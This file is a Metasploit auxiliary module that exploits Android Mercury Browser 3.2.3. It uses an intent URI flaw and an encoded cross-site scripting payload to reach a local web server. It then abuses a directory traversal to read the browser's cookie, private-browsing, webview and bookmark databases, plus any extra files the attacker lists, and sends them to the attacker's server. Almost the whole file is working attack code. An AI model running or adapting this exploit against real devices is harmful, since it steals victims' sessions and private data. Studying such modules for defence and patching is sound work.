##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
        'Description' => %q{
          This module exploits an unsafe intent URI scheme and directory traversal found in
          Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
          private wifi manager activity, which starts a web server for Mercury on port 8888.
          The webserver also suffers a directory traversal that allows remote access to
          sensitive files.

          By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
          webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
          ADDITIONAL_FILES datastore option to collect more files.
        },
        'Author' => [
          'rotlogix', # Vuln discovery, PoC, etc
          'sinn3r',
          'joev'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],
          [ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])
      ]
    )
  end

  def is_android?(user_agent)
    user_agent.include?('Android')
  end

  def get_html
    %Q|
    <html>
    <head>
    <meta charset="utf-8" />
    </head>
    <body>
    <script>
    location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
    setTimeout(function() {
      location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
    }, 500);
    </script>
    </body>
    </html>
    |
  end

  def backend_url
    "#{get_uri}/catch"
  end

  def uxss
    %Q|
      function exploit() {
        history.replaceState({},{},'/storage/emulated/0/Download/');
        var urls = #{JSON.generate(file_urls)};
        urls.forEach(function(url) {
          var x = new XMLHttpRequest();
          x.open('GET', '/dodownload?fname=../../../..'+url);
          x.responseType = 'arraybuffer';
          x.send();
          x.onload = function(){
            var buff = new Uint8Array(x.response);
            var hex = Array.prototype.map.call(buff, function(d) {
              var c = d.toString(16);
              return (c.length < 2) ? 0+c : c;
            }).join('');
            var send = new XMLHttpRequest();
            send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,'')));
            send.setRequestHeader('Content-type', 'text/plain');
            send.send(hex);
          };
        });
      }

      var q = window.open('http://localhost:8888/','x');
      q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
    |
  end

  def file_urls
    files = [
      '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
      '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
      '/data/data/com.ilegendsoft.mercury/databases/webview.db',
      '/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
    ]

    if datastore['ADDITIONAL_FILES']
      files.concat(datastore['ADDITIONAL_FILES'].split)
    end

    files
  end

  def on_request_uri(cli, req)
    print_status("Requesting: #{req.uri}")

    unless is_android?(req.headers['User-Agent'])
      print_error('Target is not Android')
      send_not_found(cli)
      return
    end

    if req.method =~ /post/i
      if req.body
        filename = File.basename(req.uri) || 'file'
        output = store_loot(
          filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file'
        )
        print_good("Stored #{req.body.bytes.length} bytes to #{output}")
      end

      return
    end

    print_status('Sending HTML...')
    html = get_html
    send_response_html(cli, html)
  end

  def hex2bin(hex)
    hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
  end

  def run
    exploit
  end
end
